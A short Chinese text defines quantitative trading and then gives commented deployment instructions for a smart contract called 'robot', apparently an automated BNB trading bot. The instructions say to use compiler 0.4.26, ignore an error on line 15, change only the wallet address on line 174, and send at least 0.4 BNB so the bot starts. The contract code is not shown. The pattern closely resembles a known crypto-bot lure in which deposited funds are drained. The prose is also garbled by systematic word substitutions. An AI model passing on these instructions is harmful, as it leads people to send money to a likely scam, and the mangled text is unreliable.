“量化交易”有着两层含意: 一是从广义上来讲，是指量化交易的内容，将交易条件转变成为程序，主动下单; 二是从狭义上来讲，是指零碎交易办法，就是一个整合的交易系统。即为依据一系列交易条件，智能化辅助决策体系，将丰盛的从业教训与交易条件相结合，在交易过程治理好危险管制。

/*
阐明：
部署时候 15 行有一条报错，间接疏忽就行这是失常景象
部署版本抉择 0.4.26
部署前批改 174 行地址为本人的钱包地址（其它任何中央不可批改）
部署合约名称为：robot
部署实现后向合约地址转入 BNb 机器人将主动开始运行。(倡议转入不低于 0.4BNb)
如须要取回合约外面的残余的 BNB 代币，请输出承受地址后点击 takebackBNB。
请勿向合约地址转入除了 Bnb 以外的任何资产，否者将不可找回。
